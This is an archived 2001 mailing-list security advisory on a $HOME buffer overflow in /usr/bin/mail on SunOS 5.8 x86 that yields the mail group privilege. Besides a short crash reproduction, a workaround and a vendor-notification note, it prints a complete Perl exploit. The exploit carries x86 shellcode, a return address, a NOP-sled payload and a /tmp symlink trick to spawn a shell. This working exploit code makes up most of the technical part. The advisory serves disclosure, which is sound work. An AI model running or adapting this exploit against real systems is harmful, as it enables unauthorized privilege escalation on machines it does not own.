$HOME buffer overflow in SunOS 5.8 x86

From: Georgi Guninski (guninskiat_private)
Date: Mon Jun 04 2001 - 08:14:30 PDT

  • Next message: Michael Grice: "Re: Webtrends HTTP Server %20 bug"

    Georgi Guninski security advisory #46, 2001
    
    $HOME buffer overflow in SunOS 5.8 x86
    
    Systems affected:
    SunOS 5.8 x86 have not tested on other OSes
    
    Risk: Medium
    Date: 4 June 2001
    
    Legal Notice:
    This Advisory is Copyright (c) 2001 Georgi Guninski. 
    You may distribute it unmodified. 
    You may not modify it and distribute it or distribute parts 
    of it without the author's written permission.
    
    Disclaimer:
    The information in this advisory is believed to be true based on 
    experiments though it may be false.
    The opinions expressed in this advisory and program are my own and 
    not of any company. The usual standard disclaimer applies, 
    especially the fact that Georgi Guninski is not liable for any damages 
    caused by direct or  indirect use of the information or functionality 
    provided by this advisory or program. Georgi Guninski bears no 
    responsibility for content or misuse of this advisory or program or 
    any derivatives thereof.
    
    
    Description:
    
    There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail
    leading to egid=mail.
    
    
    Details:
    HOME=`perl -e 'print "A"x1100'` ; export HOME
    mail a
    CTL-C
    
    eip gets smashed with 0x41414141.
    
    Exploit:
    -------------solmail.pl----------------------
    #!/usr/bin/perl
    # /usr/bin/mail exploit by Georgi Guninski
    use Env qw($HOME);
    #shell code taken from Pablo Sor's mailx exploit
    $shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06";
    $shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90";
    $shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0";
    $shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33";
    $shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec";
    $shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89";
    $shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50";
    $shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2";
    $shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4";
    $shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
    $RET = "\xa0\x6f\x04\x08" ; #may need to change this
    $OVER=1032;
    $ALL=1200;
    $buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell;
    system("/bin/ln -s /bin/ksh /tmp/xx");
    print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress
    CTL-C\n";
    $ENV{HOME}=$buf;
    exec "/usr/bin/mail","A";
    ---------------------------------------------
    
    Workaround:
    chmod -s /usr/bin/mail
    
    Vendor status:
    Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches.
    
    Regards,
    Georgi Guninski
    http://www.guninski.com
    



    This archive was generated by hypermail 2b30 : Mon Jun 04 2001 - 13:21:15 PDT